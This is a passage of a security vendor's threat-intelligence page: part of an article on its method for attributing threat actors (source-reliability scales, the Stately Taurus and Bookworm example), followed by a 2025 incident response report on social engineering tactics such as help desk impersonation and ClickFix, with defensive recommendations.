    • Detailed TTPs: We move beyond general MITRE ATT&CK® tactics and techniques classifications and focus on the associated procedural level details and artifacts — the particular tools, commands and configurations employed.
    • Custom infrastructure tools: Custom tools or scripts used for managing or interacting with the group's infrastructure (e.g., a proprietary tool for managing infrastructure or a botnet).
    • Unique infrastructure configurations: Unusual or unique configurations of common infrastructure components (e.g., a specific, non-standard setup of a web server used for C2 communication).
    • TTP evolution timeline analysis: We examine the chronological development of TTP usage within the cluster. A continuous, evolving TTP pattern over time often suggests a single actor refining their methods. In contrast, sudden or major changes could indicate different actors or campaigns.
  • Named threat actors
    • Distinct and well-defined TTPs: The named threat actor should exhibit a set of distinct and well-defined TTPs that differentiate them from other known actors. This could include unique malware, custom tools, specific exploit techniques or a characteristic attack lifecycle. The more unique and consistent the TTPs, the stronger the case for a distinct actor.

Infrastructure and Tooling Analysis

  • Activity clusters
    • Overlapping IoCs: Shared IP addresses, domain names, file hashes or other indicators.
  • Temporary threat groups
    • Beyond IP addresses and domains: We focus on the relationships between infrastructure elements, such as shared hosting providers or registration patterns. We use these infrastructure pivots to uncover additional related activity.
    • Whois and (p)DNS records: We analyze Whois and (p)DNS records for suspicious domains. We look for patterns in registrant information and nameservers, as well as other details that might link seemingly disparate infrastructure.
    • Code similarities: If malware is involved, we go beyond hash comparisons. We analyze the code for similarities in structure, functionality and unique characteristics. We look for code reuse, shared libraries or other telltale signs of a common developer or codebase.
    • Tool configuration: We examine the configuration of any tools used by the actor. Unique configurations, custom modules or specific settings can be strong indicators of a single actor.
  • Named threat actors
    • Infrastructure analysis: We conduct a thorough infrastructure analysis, linking the group's activity to specific infrastructure elements (IP addresses, domains or servers). We demonstrate consistent use of this infrastructure over time and, ideally, link it exclusively to the group's operations.
    • Malware analysis: If malware is involved, we perform in-depth analysis to identify unique code characteristics, shared codebases or links to other known malware families used by the group.

Targeting and Victimology

  • Activity clusters
    • Common victims: Targeting organizations in the same industry or geographic region, or with similar profiles.
  • Temporary threat groups
    • A deeper dive into victim profiles: We identify specific organizational characteristics, technologies used or types of data targeted that connect the victims. We look for patterns that extend beyond general classifications. For example: Is there a common vulnerability a threat actor is exploiting that could indicate the targeting is opportunistic, based on the victims’ attack surface?
    • Targeting motives: We investigate the underlying motives for the targeting. Does the choice of victims align with a particular objective, such as espionage, financial gain or disruption? Understanding the reason behind the targeting offers critical insights into the actor's identity and aims.
  • Named threat actors
    • Motivation and targeting patterns: We develop a clear understanding of the threat actor's motivation and targeting patterns. What are their objectives (such as espionage, financial gain or disruption)? Who are their typical targets (industries, geographies, organizations)? A well-defined understanding of the threat actor's motives and targets strengthens the attribution and provides valuable context.

Temporal Analysis

  • Activity clusters
    • Temporal proximity: Events occurring within a relatively short time frame.
  • Temporary threat groups
    • Geopolitical or industry events: We correlate the activity timeline with external events, such as geopolitical developments or industry-specific conferences. Does the activity coincide with any events that might provide context or suggest a motive?
  • Named threat actors
    • Sustained operations: We observe consistent and sustained activity from the threat actor for an extended period of time across multiple campaigns. This demonstrates a long-term commitment to the operations and reduces the likelihood of misattributing short-lived, opportunistic activity or false-flag operations.

Other Considerations for Attribution

OPSEC tracking: We analyze a threat actor's OPSEC practices. Do they make consistent mistakes or exhibit unique patterns in their attempts to remain anonymous? These OPSEC fingerprints can be valuable for attribution. Notable mistakes include:

  • Typos in code and commands
  • Leaving a developer’s handle in code or file metadata
  • Open infrastructure

Absence of contradictory evidence: We take care in the presence of contradictory evidence that could disprove the single threat actor hypothesis. For instance, drastic changes in an activity cluster's TTPs or targeting might suggest multiple threat actors or a shift in operations. Such instances warrant further investigation before promoting an activity cluster to a temporary threat group.

Exceptionally high data volume: Promotion could be warranted if a significant volume of high-quality threat data becomes available earlier than our typical timelines. This could happen, for instance, after a major incident where extensive forensic analysis or threat intelligence gathering uncovers a wealth of information about a previously unknown actor. This accelerated timeline is justified when the data provides a comprehensive understanding of the actor's TTPs, infrastructure and motivations. The activity cluster should exhibit activity across multiple vertices of the Diamond Model.

Data scarcity: If data remains scarce after an extended observation period, promotion to a temporary threat group could be premature. Continued monitoring and data collection are crucial in such scenarios. We exercise discretion to determine an appropriate time frame for further observation, weighing factors such as:

  • The nature of the threat
  • Potential impact
  • Available intelligence sources

The objective is to collect sufficient data for confident attribution to a single actor before formally designating it as a temporary threat group.

Evaluating Quality, Validity and Confidence

Throughout the entire intelligence lifecycle, we regularly reevaluate the quality, validity and confidence levels of our threat intelligence. Before creating an activity cluster, promoting to a temporary threat group or formally naming a threat actor, we reassess our research and perform several checks to ensure the activity cluster is valid, meaningful and based on reliable information.

  • Source verification
    • Reliability of sources: We assess the reliability of information sources. We prioritize trusted sources like internal telemetry, vetted partners and reputable security researchers. We are cautious with information from untrusted sources or those with a history of inaccurate reporting. We pivot from secondary sources (e.g., a news article) to original technical reporting whenever possible. We then apply source reliability ratings (A-F) and credibility ratings (1-6).
    • Corroboration: We seek corroboration from multiple independent and outside sources whenever possible. If information comes from only a single source, especially a less reliable one, we treat it with skepticism and look for additional evidence.
  • Indicator validity
    • Context of IoCs: We evaluate the context in which IoCs were observed. IoCs without context (e.g., a file hash without knowing any additional information) have limited value. We must understand how the IoCs were obtained and what they represent.
    • Uniqueness of IoCs: We assess the uniqueness of IoCs. Common tools, publicly available exploits or generic infrastructure are weak indicators. We prioritize unique or rare IoCs, especially those linked to specific threat actors or malware families.
    • Volatility of IoCs: We consider the volatility of IoCs. IP addresses and domain names can change quickly, making them less reliable for long-term tracking. Malware hashes and TTPs are generally more persistent.
  • TTP consistency
    • Established Patterns: We compare observed TTPs with established patterns of known threat actors. Do the TTPs align with any known groups? Are there any significant deviations that raise doubts?
    • Internal Consistency: We check for internal consistency within the observed TTPs. Do the tactics and techniques make sense together? Are there any contradictions or inconsistencies that suggest the activity might not be related?
  • Victim analysis
    • Targeting Patterns: We analyze victim targeting patterns. Do the victims share any common characteristics (industry, geography, organization size)? Do the targeting patterns align with the suspected actor's known motives or objectives?
    • False Flags: We consider the possibility of false flags. Does the victim selection seem deliberately designed to mislead analysts to implicate another actor?
  • Estimating confidence assessments
    • Confidence assessments: We boil these considerations down to a single, clear confidence assessment.
    • Estimative language: We follow the estimative language standard set by the U.S. intelligence community.

Source Verification With the Admiralty System

The Admiralty System provides the possible values for source reliability and information credibility, as well as keywords and descriptions of the values that can be leveraged when writing intelligence reports. Table 1 contains the ratings, keywords and descriptions used in our implementation of the Admiralty System for source reliability.

Source Reliability
Rating Keywords Description
A Reliable No doubt about the source's authenticity, trustworthiness or competency. History of complete reliability.
B Usually reliable Minor doubts. History of mostly valid information.
C Fairly reliable Doubts. Provided valid information in the past.
D Not usually reliable Significant doubts. Provided valid information in the past.
E Unreliable Lacks authenticity, trustworthiness and competency. History of invalid information.
F Reliability unknown Insufficient information to evaluate reliability. Might not be reliable.

Table 1. Admiralty Scale for determining the reliability of a source of information.

Internally, we define default scores for routine sources. For example, we set telemetry data to a default reliability score of “A.” We can adjust the score lower in cases where we find evidence of possible interference with logging or other defensive bypasses that could have impacted telemetry.

Information credibility can range between 1-6 and is assessed separately from the source’s reliability.

Table 2 contains the ratings, keywords and descriptions used in our implementation of the Admiralty Scale for information credibility.

Information Credibility
Rating Keywords Description
1 Confirmed Confirmed by other independent sources. Logical in itself. Consistent with other information on the subject.
2 Probably true Not confirmed. Logical in itself. Consistent with other information on the subject.
3 Possibly true Not confirmed. Reasonably logical in itself. Agrees with some other information on the subject.
4 Doubtfully True Not confirmed. Possible but not logical. No other information on the subject.
5 Improbable Not confirmed. Not logical in itself. Contradicted by other information on the subject.
6 Difficult to say No basis exists for evaluating the validity of the information.

Table 2. Admiralty Scale for determining the credibility of information.

Internaly, we established default credibility scores for a wide range of intelligence artifacts, such as:

  • The standard IoC types (e.g., file hashes, domains, IP addresses, email addresses)
  • Key artifacts that threat researchers use to track groups (e.g., registration information, TLS certificate details)

Again, these are default scores, and our analysts can lower or raise the score for each artifact based on their findings. For example, an IP address defaults to a credibility rating of 4 (Doubtfully True) because IP addresses can host many unrelated services and quickly change their association to specific sites and services. However, threat researchers can raise a score based on specific evidence, including situations where the IP address is hard-coded in a malware configuration with active C2 telemetry, in an active incident response case.

Both the reliability and credibility level of sources have a direct influence on our attribution process. For example, a source of information with classification of “A2” will have a much stronger influence in attribution confidence than a source with reliability “C3.”

Applying the Attribution Framework

Our long-term tracking of Stately Taurus activity provides a glimpse into the evolution of an activity cluster to a named threat group. In 2015, we published a threat research article discussing our discovery of the Bookworm Trojan along with a second article, Attack Campaign on the Government of Thailand Delivers Bookworm Trojan.

At that time, we did not have the Attribution Framework, so the articles do not mention activity clusters. However, we show that evolution in our 2023 Stately Taurus article where we assigned an activity cluster to the 2015 activity and linked it to Stately Taurus. Then in 2025, leveraging our Attribution Framework, we completed the link between Stately Taurus and Bookworm malware.

While analyzing Stately Taurus, we noted overlaps between parts of the threat actor's infrastructure and systems used by a variant of Bookworm malware. Figure 2 maps SHA256 hashes associated with the Bookworm malware variant to the infrastructure used by Stately Taurus.

Diagram showing the flow of data between nodes identified by SHA256 hashes, connected by arrows. Malware is represented in red and the threat group Stately Taurus by blue.
Figure 2. Link diagrams of threat intelligence artifacts linking Bookworm malware (red nodes) to Stately Taurus (blue nodes).

We added all the tracked IoCs, TTPs and other intelligence artifacts into our internal Attribution Framework scoresheet shown in Figure 3. We also provided details in the analysis column, including justifications to any changes of the default suggested score.

Spreadsheet showing various types of cybersecurity threats, categorized by domain model, type, source of attribution, value, analysis, overlap, supported sources, and manual availability. It includes columns for vectors, capability, infrastructure, and malware, with information on governmental organizations and public research.
Figure 3. Example of Stately Taurus and Bookworm IoCs in an Attribution Framework scoresheet.

We implemented a small Attribution Framework Review Board to review findings. This board leverages members of multiple internal research teams to discuss the findings to ensure they are accurate. The review board also ensures that we have not overlooked any opportunities to build out the intelligence picture further before promoting an activity cluster to a temporary threat group or a temporary threat group to a named threat actor.

Conclusion

The Unit 42 Attribution Framework offers a structured approach to analyzing threat data. This methodology enables the attribution of observed activity to named threat actors, activity clusters or temporary threat groups with different levels of confidence. It is essential for long-term tracking and improves the efficiency of threat intelligence gathering and analysis.

We hope this framework offers our intelligence consumers sufficient transparency into our internal practices. Additionally, we hope it serves as a model for other threat research teams, contributing to the continued maturation of the threat intelligence profession.

For more information on the Unit 42 formal threat groups, check out our article Threat Actor Groups Tracked by Unit 42.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Additional Resources

2025 Unit 42 Global Incident Response Report: Social Engineering Edition

Posted on by Unit 42

Executive Summary

We see social engineering evolving into one of the most reliable, scalable and impactful intrusion methods in 2025 for five key reasons:

First, social engineering remained the top initial access vector in Unit 42 incident response cases between May 2024 and May 2025: 36% of all incidents in the IR caseload began with a social engineering tactic. These attacks consistently bypassed technical controls by targeting human workflows, exploiting trust and manipulating identity systems. More than one-third of social engineering incidents involved non-phishing techniques, including search engine optimization (SEO) poisoning, fake system prompts and help desk manipulation.

Second, high-touch attacks are on the rise. Threat actors such as Muddled Libra bypass multi-factor authentication (MFA) and exploit IT support processes to escalate privileges in minutes, often without malware. In one case, a threat actor moved from access to domain administrator in under 40 minutes using only built-in tools and social pretexts.

Third, low-detection coverage and alert fatigue remain key enablers. In many cases, social engineering attacks succeeded not through advanced tradecraft, but because organizations missed or misclassified critical signals. This was a particular issue for identity recovery workflows and lateral movement paths.

Fourth, business disruption resulting from these attacks continues to grow. Over half of social engineering incidents led to sensitive data exposure, while other incidents interrupted critical services or affected overall organizational performance. These high-speed attacks are designed to deliver high financial returns while requiring minimal infrastructure or risk.

Fifth, artificial intelligence (AI) is accelerating both the scale and realism of social engineering campaigns. Threat actors are now using generative AI to craft personalized lures, clone executive voices in callback scams and maintain live engagement during impersonation campaigns.

Beneath these trends lie three systemic enablers: over-permissioned access, gaps in behavioral visibility and unverified user trust in human processes. Identity systems, help desk protocols and fast-track approvals are routinely exploited by threat actors mimicking routine activity.

To counter this, security leaders must drive a shift beyond traditional user awareness to recognizing social engineering as a systemic, identity-centric threat. This transition requires:

  • Implementing behavioral analytics and identity threat detection and response (ITDR) to proactively detect credentials misuse.
  • Securing identity recovery processes and enforcing conditional access.
  • Expanding Zero Trust principles to encompass users, not just network perimeters.

Social engineering works not because attackers are sophisticated, but because people still trust too easily, compromising organizational security.

Introduction

Social engineering continues to dominate the threat landscape. Over the past year, more than a third of the incident response cases our team handled began with a social engineering tactic. These intrusions didn’t rely on zero-days or sophisticated malware. They exploited trust. Attackers bypassed controls by impersonating employees, manipulating workflows and taking advantage of gaps in how organizations manage identity and human interaction.

What stands out this year is how sharply these attacks are evolving. Unit 42 is tracking two distinct models, both designed to bypass controls by mimicking trusted activity:

  • High-touch compromise that targets specific individuals in real time. Threat actors impersonate staff, exploit help desks and escalate access without deploying malware, often using voice lures, live pretexts, and stolen identity data.
  • At-scale deception, including ClickFix-style campaigns, SEO poisoning, fake browser prompts and blended lures to trigger user-initiated compromise across multiple devices and platforms.

These aren’t edge cases. They’re repeatable, reliable techniques that adversaries are refining week after week. One of the most revealing trends we’ve observed is the rise of non-phishing vectors. This includes voice-based lures, spoofed browser alerts and direct manipulation of support teams. In many environments, these tactics enable attackers to slip through undetected, exfiltrate data and cause significant operational harm.

This report brings together intelligence from Unit 42 threat researchers, telemetry from real-world intrusions and insight from the front lines of our global incident response (IR) practice. The goal of this report is to help you understand how social engineering actually works in 2025 and what it takes to stop it.

One thing is clear: adversaries aren’t just hacking systems: They’re hacking people.

High-Touch, High-Impact Compromise

How Attackers Breach Trust

A growing class of attacks targets individuals using tailored, real-time manipulation, often within large enterprises where identity systems and human workflows are more complex. These organizations present a richer set of access points, from federated identity platforms to distributed support operations, which attackers exploit to escalate access discreetly. Enterprises’ size and complexity make it easier for malicious activity to blend in with routine requests, increasing the time to detection.

High-touch operations are often financially motivated, driven by threat actors who invest time and research to breach identity defenses without triggering alerts. They impersonate employees, exploit trust and escalate quickly from user-level access to privileged control. We have investigated multiple high-impact cases where attackers bypassed MFA and convinced help desk staff to reset credentials. In one recent case, the attacker progressed from gaining initial access to obtaining domain administrator rights in under 40 minutes, without deploying malware at all.

Groups such as Muddled Libra, a global, financially motivated cybercrime operation, exemplify this model. Instead of phishing broadly, these attackers identify key personnel, build a profile using public data and impersonate them convincingly. As a result, these groups gain deep access, broad system control and the ability to monetize attacks quickly.

Not all high-touch operations are profit-driven. We have also tracked state-aligned actors using similar tactics for espionage and strategic infiltration. Campaigns attributed to state-aligned threat actors such as Iran-affiliated Agent Serpens and threat groups from North Korea have relied on spoofed institutional identities, custom-crafted lures and counterfeit documentation to compromise diplomatic and public sector targets.

Profile #1: Muddled Libra

Among financially motivated actors, few have demonstrated the persistence, adaptability and technical fluency of Muddled Libra.

Muddled Libra operates within a broader cluster of actors. These threat actors are financially motivated, bypassing technical controls by exploiting identity systems directly. Muddled Libra stands out, however, due to its persistence, speed and human-led tradecraft.

The group doesn’t just phish for credentials. It impersonates employees in real time, often targeting help desk staff to reset MFA, take over identities and gain access to internal systems. Once inside, Muddled Libra leverages remote monitoring and management (RMM) tools to maintain persistent access and establish control.

This group's infrastructure is lightweight and evasive. For command and control (C2), we have observed repeated misuse of tunneling services, allowing the group to operate from outside the network perimeter without raising immediate red flags.

MFA resets, subscriber identity module (SIM) swapping and the misuse of public-facing trust signals are recurring patterns. In several cases, attackers gathered detailed personal data from sources like LinkedIn to build convincing personas, increasing their chances of bypassing identity verification steps.

A list titled "Six Key Tools and Techniques Employed by Muddled Libra", detailing methods such as SIM swapping, remote access tools, credential harvesting, social reconnaissance, and live interaction to intercept messages and control pathways.

Profile #2: Nation-State Actors

High-touch social engineering is not exclusive to cybercriminal groups. Nation-state actors have long relied on human-first tradecraft to achieve strategic access, whether for espionage, surveillance or geopolitical disruption. Recent campaigns show that state-aligned intrusions increasingly mirror the same identity-centric methods seen in financially motivated operations.

Iran-affiliated Agent Serpen impersonated trusted institutions, often delivering malware via spoofed emails that mimicked legitimate document-sharing workflows.

North Korean actors have developed a distinct variation of high-touch compromise known as synthetic insiders. These campaigns involve attackers posing as job applicants, using fabricated curriculum vitae (CVs) and professional personas to secure remote employment in target organizations.

Threat Actors and Their Tactics, Techniques and Procedures (TTPs) Tradecraft

From Muddled Libra’s financially driven intrusions to the strategic targeting seen in Agent Serpens and North Korean campaigns, these attackers’ strategies remain consistent. Manipulate people, mimic trust and escalate access without triggering detection.

Table listing three threat actors: Muddled Libra, Agent Serpens, and a North Korean Actor, with their motivations and tactics. Muddled Libra is motivated by financial gain, using SIM swapping and malware. Agent Serpens, motivated by espionage, uses spoofed file shares and document portals. The North Korean actor seeks revenue and espionage operations, using synthetic job applications and exploitation of freelance hiring platforms.

High-Touch Intrusions in the Field

The following case studies drawn from our IR caseload illustrate how attackers can bypass controls not through exploits, but by navigating human systems with precision and intent.

Help Desk Deception Leads to 350 GB Breach

Target: Cloud-hosted customer records, proprietary documentation and internal files. An attacker staged and exfiltrated over 350 GB of data without triggering endpoint or endpoint detection and response (EDR) alerts. Attackers used no malware — only legitimate credentials and living-off-the-land binaries.

Technique: The attacker contacted the organization's help desk, impersonating a locked-out employee. Using a mix of leaked and publicly available details, the adversary passed identity checks and gained the agent’s trust, prompting a reset of MFA credentials. With access secured, the attacker logged in and moved laterally using legitimate administrative tools. Every action mimicked legitimate user behavior, deliberately avoiding triggers that might raise alerts.

Rapport-Building To Bypass the Help Desk

Target: Internal corporate systems. The attacker sought employee-level access to escalate privileges and stage a broader compromise. The intrusion was contained shortly after login.

Technique: Over several days, the attacker made repeated low-pressure calls to the help desk, each time impersonating a locked-out employee. They gathered process details and refined their pretext with each attempt. Once the story aligned with internal escalation protocols, they issued a time-sensitive request that prompted an MFA reset to grant access. The attacker logged in successfully but was flagged minutes later due to geographic anomalies.

Executive MFA Reset Blocked by Conditional Access

Target: Mid-level executive credentials with broad system permissions. The attacker aimed to use these credentials to access sensitive business data and perform reconnaissance via cloud APIs. The attempt was contained before data exfiltration, thanks to conditional access controls.

Technique: After several failed phishing attempts, the attacker called IT support, impersonating the executive and citing travel-related access issues. The pretext was convincing enough to prompt an MFA reset. With fresh credentials, the attacker initiated Graph API queries to enumerate permissions, group memberships and file paths. However, the organization's conditional access policy flagged the session due to an unusual login from an unrecognized device and location, blocking further escalation.

These case studies show that high-touch attackers succeed not by breaking systems, but by understanding them. They manipulate processes, personnel and platforms across industries in ways that appear routine until it is too late.

How AI Is Shaping the Social Engineering Threat Landscape

Recent months have seen a shift in how AI and automation are being used in social engineering campaigns. While conventional techniques remain dominant, some attackers are now experimenting with tools that offer greater speed, realism and scalability.

Unit 42’s incident response cases point to three distinct layers of AI-enabled tooling:

  • Automation: Tools in this category follow predefined rules to accelerate common intrusion steps, such as phishing distribution, spoofed SMS delivery and basic credential testing. These capabilities are not new, but they are increasingly configured to mimic enterprise workflows and bypass common detection measures.
  • Generative AI (GenAI): Used to produce credible, human-like content across channels including email, voice and live chat. In multiple investigations, threat actors employed GenAI to craft highly personalized lures using public information. Some campaigns went further, using cloned executive voices in callback scams to increase the plausibility of urgent phone requests. In more sustained intrusions AI was used to refine attacker personas, generate tailored phishing follow-ups and draft real-time responses. These adaptive techniques allowed threat actors to maintain engagement across multiple stages of the intrusion, with a level of tone and timing that previously required a live operator.
  • Agentic AI: Refers to role-based, context-aware systems capable of autonomously executing multi-step tasks with minimal human input and learning from feedback. While adoption remains limited to date, we observed Agentic AI’s use in chaining activities such as cross-platform reconnaissance and message distribution. In one case, attackers built multi-layered synthetic identities (including fake CVs and social media profiles) to support fraudulent job applications in a targeted insider campaign.

This spectrum of use reflects a hybridization of tactics, where conventional social engineering methods are increasingly supported by AI-enabled components. Adversary adoption of AI remains uneven, but the underlying shift is clear: Automation and AI are beginning to reshape the scale, pacing and adaptability of social engineering attacks.

At-Scale Attacks

At-Scale Deception: The Rise of ClickFix Campaigns

Social engineering has evolved into a scalable, automated ecosystem that mimics trusted signals and exploits familiar workflows. One example is ClickFix, a technique using fake browser alerts, fraudulent update prompts and drive-by downloads to initiate compromise. Between May 2024 and May 2025, ClickFix was the initial access vector in at least eight confirmed IR cases.

Delivery Mechanisms: SEO Poisoning, Malvertising and Fraudulent Prompts

ClickFix campaigns don’t rely on a single delivery method. Instead, they exploit multiple entry points. We have observed these campaigns using SEO poisoning, malvertising and fraudulent browser alerts to lure users into initiating the attack chain themselves.

In one confirmed IR case, the threat actor leveraged SEO poisoning to plant a malicious link high in search engine results. When an employee searched for a software installer, they were redirected to a spoofed landing page that triggered a payload download. Malvertising plays a similar role, delivering fake “click to fix” banners via ad networks or pop-ups mimicking trusted software brands. Another growing vector is fraudulent system alerts, crafted to mimic legitimate browser or operating system warnings. In one healthcare example, an employee encountered what appeared to be an authentic Microsoft update notification while accessing an internal system from home. The link led to the download of a loader, which executed an infostealer and enabled credential harvesting. These delivery mechanisms share three core attributes:

  • Mimicking to gain trust
  • User initiated
  • Platform agnostic

Because the user initiates the action (by clicking a link, downloading a file or responding to a prompt) the attack often bypasses traditional perimeter defenses and evades early detection by endpoint tools.

Text in an image reads: Of ClickFix attacks reviewed by Unit 42, more than 60% of initial access was initiated via web interaction rather than email. This marks a distinct shift from traditional phishing and underscores the importance of defending beyond the inbox.

Common ClickFix Payloads and Behavioral Patterns

ClickFix campaigns follow a consistent behavioral pattern that prioritizes speed, credential theft and monetization. Payloads vary, but ClickFix campaigns often focus on establishing a foothold, extracting value and avoiding detection.

Credential-harvesting malware is the most common first-stage payload. In many cases, we identified the use of off-the-shelf stealers such as RedLine or Lumma, deployed immediately after a user downloaded a malicious installer or responded to a spoofed update prompt. These tools are configured to extract browser-stored credentials, saved tokens and session cookies.

Lampion, a banking Trojan analyzed by Unit 42 researchers, exemplifies the evolution of these payloads. Lures for Lampion attack variants use SEO poisoning and compromised websites for distribution.

We have observed organizations in the retail sector affected by these kinds of attack.An example includes a fake update prompt that led a retail employee to unknowingly install a remote access Trojan (RATs) that allowed the attacker to observe and eventually control the victim’s device. Within 90 minutes, the attacker had captured credentials for the organization’s order management system and staged outbound data transfers.

Modular, Escalating Toolchains

ClickFix attacks often use payloads that escalate in stages:

  • Begin with lightweight credential harvesters to gather intelligence.
  • Deploy silent loaders to deliver additional tools only if access to sensitive systems is confirmed.
  • Follow-on payloads can include:
    • Remote access Trojans
    • Infostealers
    • Encryption modules
    • Wipers

The payloads are rarely novel, but attackers change their delivery and timing – calibrated to minimize risk and maximize utility. In many cases, the attackers relied on well-worn techniques (not zero-days or custom exploits) because the system’s users, not its software, were the point of entry.

ClickFix Isn’t Sophisticated: It's Systematic

Most ClickFix campaigns use publicly available tools repurposed for credential theft or remote access. What sets them apart is not malware sophistication, but precision delivery, legitimate-looking prompts, high-trust delivery paths and low-friction execution.

Text in an image reporting that in 75% of ClickFix-related cases, attackers reused credentials harvested during the initial compromise within 48 hours for direct access to cloud services or offered for sale on illicit marketplaces.

Strategic Takeaways

ClickFix is a method for scalable deception. To defend against it, we advise security leaders to:

  • Monitor for early-stage access patterns, especially credential harvesters and fileless loaders.
  • Harden endpoints against commonly misused malware families, even those considered commodity-grade.
  • Track and control software installation privileges. Many incidents begin with user-approved downloads.
  • Expand detection beyond email to include web-based delivery, SEO manipulation and spoofed system prompts.
  • Establish credential hygiene practices and limit reuse across systems to prevent chained exposure.

Social Engineering by the Numbers

In this section, we turn from tactics to telemetry to examine the technical and organizational patterns behind that success.

In cases where social engineering was the initial access vector:

  • 66% of social engineering attacks targeted privileged accounts.
  • 23% involved callback or voice-based techniques.
  • 45% used impersonation of internal personnel to build trust.

As reported in January, phishing accounted for 23% of all intrusions and that number remains constant for the data set used in this report. When isolating only social engineering-driven intrusions, phishing rises to 65% of those cases (see Figure 1).

Our data reveals six key patterns behind the continued success of social engineering attacks — and how they’re bypassing defenses.

Initial Access: Social Engineering Remains the Top Tactic

36% of all incidents in the IR caseload began with a social engineering tactic.

Key Insight

Unlike technical exploits that rely on unpatched systems or zero-days, social engineering succeeds due to weak access controls, a sense of urgency, over-permissioned accounts and misplaced trust. These conditions persist in enterprise environments, even where modern detection tools are deployed.

Strategic Takeaways

Social engineering remains the most effective attack vector because it exploits human behavior, not technical flaws. It consistently bypasses controls, regardless of an organization’s maturity.

It’s time to move beyond user education as the primary defense. Treat social engineering as a systemic vulnerability that demands layered technical controls and strict zero-trust verification.

Novel Vectors Are Gaining Ground

A combined 35% of social engineering cases involved less conventional methods, including SEO poisoning and malvertising, smishing and MFA bombing, and a growing set of other techniques (see Figure 1).

Pie chart titled "Breakdown of Social Engineering Attack Types" showing distributions: 65% Phishing, 22% Other, 12% SEO Poisoning/Malvertising, and 1% Smishing/MFA Bombing.

While phishing remains the primary delivery mechanism, these emerging methods show that attackers are adapting social engineering to reach users across platforms, devices and workflows where traditional email security is no longer a barrier.

Key Insight

The dominance of phishing masks a deeper shift; threat actors are broadening their playbook.

Strategic Takeaways

Social engineering defense must cover more than the inbox. Security leaders should ensure that detection extends to mobile messaging, collaboration tools, browser-based vectors and QR code interfaces.

Missed Alerts, Weak Controls and Permission Overreach Fuel Social Engineering Intrusions

These weaknesses span industries, including:

  • Manufacturing
  • Healthcare
  • Finance
  • Professional Services
  • Retail
  • State and Federal Government

They also affect organizations of every size, from small businesses to large enterprises, underscoring just how widespread and systemic these issues are.

  • In many cases, security alerts went unnoticed. Overburdened teams missed, deprioritized or dismissed malicious logins, privilege escalations or alerts triggered by unusual device access until after compromise was confirmed.
  • Excessive permissions increased the area of impact. In many cases, compromised accounts had access well beyond their operational roles.
  • Lack of or insufficiently deployed MFA featured in a large share of credential-based intrusions. Attackers were often able to authenticate successfully using harvested credentials without encountering any secondary verification.

Bar chart titled "Figure 2: Identity and Access Issues Contributing to Social Engineering Success." It shows five categories with corresponding percentages: Ignored Security Alerts at 13%, Lack of MFA at 10%, Excessive Permissions at 10%, Insufficient Endpoint Logging at 8%, Weak/Default Passwords at 7%, and No AV/EDR also at 7%.

Key Insight

Threat actors exploited control gaps that could have been closed.

Strategic Takeaways

Social engineering defense depends on detecting early-stage indicators and limiting access after compromise. Many early indicators are missed, not because they’re ignored, but because they’re misclassified.

  • Prioritize alert logic to flag abnormal login patterns, MFA abuse and unusual software-as-a-service (SaaS) access as high priority.
  • Security teams must ensure that critical alerts are reviewed and escalated.
  • Enforced MFA should be applied to all privileged and external-facing accounts.
  • Access entitlements must be tightly scoped and regularly reviewed.

Weak Detection Capability Technology and Under-Resourced Teams Amplify Social Engineering Risks

Social engineering intrusions rarely hinge on attacker sophistication alone. More often, they succeed when limited detection capabilities intersect with over-burdened or under-trained teams. Our IR data highlights how technical weak points and staffing constraints create opportunities for compromise.

The six most cited contributing factors reflect more than tooling gaps, they reveal systemic strain. Crucially, few organizations had implemented Identity Threat Detection and Response (ITDR) or user and entity behavior analytics (UEBA), two capabilities that are increasingly vital for detecting social engineering attacks and preventing account takeover. Enterprises relying solely on conventional logging and endpoint telemetry are likely to miss early indicators.

These weaknesses surfaced most often in four key areas:

  • Failure to escalate alerts: In several cases, early warning signs were logged but not flagged, allowing attackers to progress unchecked.
  • Failure to action alerts: In many cases, anomalous behavior was flagged but not acted on due to alert fatigue, unclear ownership or skill gaps within security teams.
  • Insufficient EDR and endpoint logging: Without clear indicators or behavioral baselines, analysts struggled to distinguish between routine activity and signs of compromise.
  • Lack of centralized antivirus/EDR and tamper protection exposed unmanaged assets, which threat actors exploited to move laterally or disable controls undetected.

Bar chart titled "Figure 3: Tech and Human Capital Weakness Contributing to Social Engineering Success." The chart lists types of weaknesses: Failed Action Alert at 13%, Insufficient Endpoint Logging at 8%, Insufficient Network Logging and No Central A/V/EDR both at 7%, and Insufficient Tamper Protection at 4%.

Key Insight

Security breakdowns stemmed from weak telemetry, unclear alert ownership and strained frontline capacity, not attacker sophistication.

Strategic Takeaways

  • Strengthening the human layer requires strengthening the systems that support it.
  • Ensure alerts are triaged with clear ownership and escalation paths.
  • Prioritize expanding EDR to extended detection and response (XDR), for centralized detection with rich context.
  • Address tooling gaps that leave unmanaged assets or access vectors exposed.

Initial access is only the beginning. In many cases, what starts as a single deceptive interaction results in wide-ranging data exposure and attackers are optimizing for that exact outcome.

Social Engineering Leads to Higher Rates of Data Exposure

Social engineering attacks led to data exposure in 60% of cases, according to our IR data. That is 16 percentage points higher when we consider cases overall. This includes:

  • Direct exfiltration
  • Indirect exposure through credential theft
  • Unauthorized access to internal systems
  • Deployment of infostealers and remote access Trojans

Bar chart titled "Figure 4. Data Exposure Rates: Social Engineering vs. All Attacks." It shows two categories: Social Engineering Attacks with 60% Data Exposure and 28% No Data Exposure, and At Large Attacks with 44% Data Exposure and 38% No Data Exposure. Data exposure rates are depicted in yellow and no data exposure rates in red.

Key Insight

Roughly half of social engineering cases were business email compromises (BEC), and almost 60% of all BEC cases saw data exposure, showing that threat actors moved quickly from gaining access to exfiltrating data or harvesting credentials during these kinds of incidents. Additionally, general network intrusions and ransomware were the two other top incident types where data was exposed. Of those incident types, social engineering was in the top two initial access vectors, showing the popularity of this technique across different types of intrusions and actors.

Credential exposure was also a common precursor to broader data loss. In several cases, attackers reused compromised credentials to access file shares, customer systems or cloud environments. This chained exposure effect amplifies the impact of a single successful lure, turning one compromised identity into broader organizational risk.

Strategic Takeaways

Social engineering isn’t just an access problem, it’s a significant data-loss risk. To reduce exposure, security teams must improve visibility into user behavior after login, not just focus on preventing initial compromise. Key measures include:

  • Restricting access to sensitive assets by default.
  • Monitoring lateral movement and file access.
  • Implementing just-in-time provisioning for privileged operations.
